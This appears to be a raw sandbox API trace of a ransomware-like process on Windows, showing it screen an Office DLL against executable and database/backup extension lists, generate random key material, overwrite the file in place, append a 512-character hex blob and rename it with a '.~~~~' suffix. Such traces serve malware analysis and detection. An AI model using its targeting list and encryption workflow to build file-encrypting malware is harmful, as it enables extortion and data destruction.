	[0143.804] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".cpl") returned 0x0
	[0143.804] lstrlenW (lpString=".sys") returned 4
	[0143.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".sys") returned 0x0
	[0143.805] lstrlenW (lpString=".msc") returned 4
	[0143.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".msc") returned 0x0
	[0143.805] lstrlenW (lpString=".com") returned 4
	[0143.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".com") returned 0x0
	[0143.805] lstrlenW (lpString=".lnk") returned 4
	[0143.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".lnk") returned 0x0
	[0143.805] lstrlenW (lpString=".msp") returned 4
	[0143.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".msp") returned 0x0
	[0143.805] lstrlenW (lpString=".pif") returned 4
	[0143.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".pif") returned 0x0
	[0143.805] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0143.805] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0143.807] lstrlenW (lpString=".sqb") returned 4
	[0143.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".sqb") returned 0x0
	[0143.807] lstrlenW (lpString=".ost") returned 4
	[0143.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".ost") returned 0x0
	[0143.807] lstrlenW (lpString=".txt") returned 4
	[0143.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".txt") returned 0x0
	[0143.807] lstrlenW (lpString=".mdt") returned 4
	[0143.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".mdt") returned 0x0
	[0143.807] lstrlenW (lpString=".BDB") returned 4
	[0143.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".BDB") returned 0x0
	[0143.807] lstrlenW (lpString=".eql") returned 4
	[0143.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".eql") returned 0x0
	[0143.807] lstrlenW (lpString=".DBF") returned 4
	[0143.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".DBF") returned 0x0
	[0143.807] lstrlenW (lpString=".EQL") returned 4
	[0143.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".EQL") returned 0x0
	[0143.807] lstrlenW (lpString=".FDB") returned 4
	[0143.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".FDB") returned 0x0
	[0143.807] lstrlenW (lpString=".EDB") returned 4
	[0143.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".EDB") returned 0x0
	[0143.807] lstrlenW (lpString=".DACPAC") returned 7
	[0143.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".DACPAC") returned 0x0
	[0143.807] lstrlenW (lpString=".VHD") returned 4
	[0143.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".VHD") returned 0x0
	[0143.807] lstrlenW (lpString=".DBV") returned 4
	[0143.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".DBV") returned 0x0
	[0143.807] lstrlenW (lpString=".dacpac") returned 7
	[0143.807] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".dacpac") returned 0x0
	[0143.807] lstrlenW (lpString=".sdf") returned 4
	[0143.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".sdf") returned 0x0
	[0143.808] lstrlenW (lpString=".accdb") returned 6
	[0143.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".accdb") returned 0x0
	[0143.808] lstrlenW (lpString=".DBX") returned 4
	[0143.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".DBX") returned 0x0
	[0143.808] lstrlenW (lpString=".MDT") returned 4
	[0143.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".MDT") returned 0x0
	[0143.808] lstrlenW (lpString=".SQB") returned 4
	[0143.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".SQB") returned 0x0
	[0143.808] lstrlenW (lpString=".vhd") returned 4
	[0143.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".vhd") returned 0x0
	[0143.808] lstrlenW (lpString=".bac") returned 4
	[0143.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".bac") returned 0x0
	[0143.808] lstrlenW (lpString=".mdf") returned 4
	[0143.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".mdf") returned 0x0
	[0143.808] lstrlenW (lpString=".BAK") returned 4
	[0143.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".BAK") returned 0x0
	[0143.808] lstrlenW (lpString=".BAC") returned 4
	[0143.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".BAC") returned 0x0
	[0143.808] lstrlenW (lpString=".dbs") returned 4
	[0143.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".dbs") returned 0x0
	[0143.808] lstrlenW (lpString=".vhdx") returned 5
	[0143.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".vhdx") returned 0x0
	[0143.808] lstrlenW (lpString=".NDF") returned 4
	[0143.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".NDF") returned 0x0
	[0143.808] lstrlenW (lpString=".dat") returned 4
	[0143.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".dat") returned 0x0
	[0143.808] lstrlenW (lpString=".DBS") returned 4
	[0143.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".DBS") returned 0x0
	[0143.808] lstrlenW (lpString=".CKP") returned 4
	[0143.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".CKP") returned 0x0
	[0143.808] lstrlenW (lpString=".edb") returned 4
	[0143.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".edb") returned 0x0
	[0143.809] lstrlenW (lpString=".PST") returned 4
	[0143.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".PST") returned 0x0
	[0143.809] lstrlenW (lpString=".dbf") returned 4
	[0143.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".dbf") returned 0x0
	[0143.809] lstrlenW (lpString=".SQL") returned 4
	[0143.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".SQL") returned 0x0
	[0143.809] lstrlenW (lpString=".pst") returned 4
	[0143.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".pst") returned 0x0
	[0143.809] lstrlenW (lpString=".dbv") returned 4
	[0143.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".dbv") returned 0x0
	[0143.809] lstrlenW (lpString=".SDF") returned 4
	[0143.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".SDF") returned 0x0
	[0143.809] lstrlenW (lpString=".dtxs") returned 5
	[0143.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".dtxs") returned 0x0
	[0143.809] lstrlenW (lpString=".db3") returned 4
	[0143.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".db3") returned 0x0
	[0143.809] lstrlenW (lpString=".OST") returned 4
	[0143.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".OST") returned 0x0
	[0143.809] lstrlenW (lpString=".dbx") returned 4
	[0143.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".dbx") returned 0x0
	[0143.809] lstrlenW (lpString=".DB3") returned 4
	[0143.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".DB3") returned 0x0
	[0143.809] lstrlenW (lpString=".DAT") returned 4
	[0143.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".DAT") returned 0x0
	[0143.809] lstrlenW (lpString=".VHDX") returned 5
	[0143.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".VHDX") returned 0x0
	[0143.809] lstrlenW (lpString=".ndf") returned 4
	[0143.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".ndf") returned 0x0
	[0143.809] lstrlenW (lpString=".DB") returned 3
	[0143.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".DB") returned 0x0
	[0143.810] lstrlenW (lpString=".sql") returned 4
	[0143.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".sql") returned 0x0
	[0143.810] lstrlenW (lpString=".MYD") returned 4
	[0143.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".MYD") returned 0x0
	[0143.810] lstrlenW (lpString=".DBT") returned 4
	[0143.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".DBT") returned 0x0
	[0143.810] lstrlenW (lpString=".ACCDB") returned 6
	[0143.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".ACCDB") returned 0x0
	[0143.810] lstrlenW (lpString=".fdb") returned 4
	[0143.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".fdb") returned 0x0
	[0143.810] lstrlenW (lpString=".bak") returned 4
	[0143.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".bak") returned 0x0
	[0143.810] lstrlenW (lpString=".myd") returned 4
	[0143.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".myd") returned 0x0
	[0143.810] lstrlenW (lpString=".DTXS") returned 5
	[0143.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".DTXS") returned 0x0
	[0143.810] lstrlenW (lpString=".ckp") returned 4
	[0143.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".ckp") returned 0x0
	[0143.810] lstrlenW (lpString=".dbt") returned 4
	[0143.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".dbt") returned 0x0
	[0143.810] lstrlenW (lpString=".db") returned 3
	[0143.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".db") returned 0x0
	[0143.810] lstrlenW (lpString=".TXT") returned 4
	[0143.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".TXT") returned 0x0
	[0143.810] lstrlenW (lpString=".MDF") returned 4
	[0143.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".MDF") returned 0x0
	[0143.810] lstrlenW (lpString=".bdb") returned 4
	[0143.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".bdb") returned 0x0
	[0143.810] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0143.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0143.811] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0143.812] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0143.812] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0143.812] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0143.812] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0143.812] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0143.812] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26380198395) returned 1
	[0143.812] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbf207f10, dwHighDateTime=0x1d60e1e)) 
	[0143.812] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0143.812] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0143.812] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0143.812] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cd348
	[0143.812] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0143.812] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cd348 | out: hHeap=0x300000) returned 1
	[0143.812] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.812] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0143.812] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a9558
	[0143.812] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.812] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6aa0
	[0143.813] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9558 | out: hHeap=0x300000) returned 1
	[0143.813] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0143.813] GetLastError () returned 0x0
	[0143.813] GetLastError () returned 0x0
	[0143.813] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0143.813] GetLastError () returned 0x0
	[0143.813] GetLastError () returned 0x0
	[0143.813] ReadFile (in: hFile=0x104, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0143.818] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.818] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0143.818] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0143.818] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.819] WriteFile (in: hFile=0x104, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0143.819] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0143.819] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0143.820] CloseHandle (hObject=0x104) returned 1
	[0143.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6aa0
	[0143.820] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.dll.~~~~")) returned 1
	[0143.822] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c6aa0 | out: hHeap=0x300000) returned 1
	[0143.822] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0143.822] GetLastError () returned 0x0
	[0143.822] RtlWakeConditionVariable () returned 0x0
	[0143.822] GetCurrentThreadId () returned 0xaf0
	[0143.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".scr") returned 0x0
	[0143.822] lstrlenW (lpString=".cmd") returned 4
	[0143.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".cmd") returned 0x0
	[0143.823] lstrlenW (lpString=".dll") returned 4
	[0143.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".dll") returned 0x0
	[0143.823] lstrlenW (lpString=".bat") returned 4
	[0143.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".bat") returned 0x0
	[0143.823] lstrlenW (lpString=".cpl") returned 4
	[0143.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".cpl") returned 0x0
	[0143.823] lstrlenW (lpString=".sys") returned 4
	[0143.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".sys") returned 0x0
	[0143.823] lstrlenW (lpString=".msc") returned 4
	[0143.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".msc") returned 0x0
	[0143.823] lstrlenW (lpString=".com") returned 4
	[0143.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".com") returned 0x0
	[0143.823] lstrlenW (lpString=".lnk") returned 4
	[0143.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".lnk") returned 0x0
	[0143.823] lstrlenW (lpString=".msp") returned 4
	[0143.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".msp") returned 0x0
	[0143.823] lstrlenW (lpString=".pif") returned 4
	[0143.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".pif") returned 0x0
	[0143.823] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.823] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0143.823] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0143.825] lstrlenW (lpString=".sqb") returned 4
	[0143.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".sqb") returned 0x0
	[0143.825] lstrlenW (lpString=".ost") returned 4
	[0143.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".ost") returned 0x0
	[0143.825] lstrlenW (lpString=".txt") returned 4
	[0143.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".txt") returned 0x0
	[0143.825] lstrlenW (lpString=".mdt") returned 4
	[0143.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".mdt") returned 0x0
	[0143.825] lstrlenW (lpString=".BDB") returned 4
	[0143.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".BDB") returned 0x0
	[0143.825] lstrlenW (lpString=".eql") returned 4
	[0143.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".eql") returned 0x0
	[0143.825] lstrlenW (lpString=".DBF") returned 4
	[0143.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".DBF") returned 0x0
	[0143.825] lstrlenW (lpString=".EQL") returned 4
	[0143.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".EQL") returned 0x0
	[0143.825] lstrlenW (lpString=".FDB") returned 4
	[0143.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".FDB") returned 0x0
	[0143.826] lstrlenW (lpString=".EDB") returned 4
	[0143.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".EDB") returned 0x0
	[0143.826] lstrlenW (lpString=".DACPAC") returned 7
	[0143.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".DACPAC") returned 0x0
	[0143.826] lstrlenW (lpString=".VHD") returned 4
	[0143.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".VHD") returned 0x0
	[0143.826] lstrlenW (lpString=".DBV") returned 4
	[0143.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".DBV") returned 0x0
	[0143.826] lstrlenW (lpString=".dacpac") returned 7
	[0143.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".dacpac") returned 0x0
	[0143.826] lstrlenW (lpString=".sdf") returned 4
	[0143.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".sdf") returned 0x0
	[0143.826] lstrlenW (lpString=".accdb") returned 6
	[0143.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".accdb") returned 0x0
	[0143.826] lstrlenW (lpString=".DBX") returned 4
	[0143.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL", lpSrch=".DBX") returned 0x0
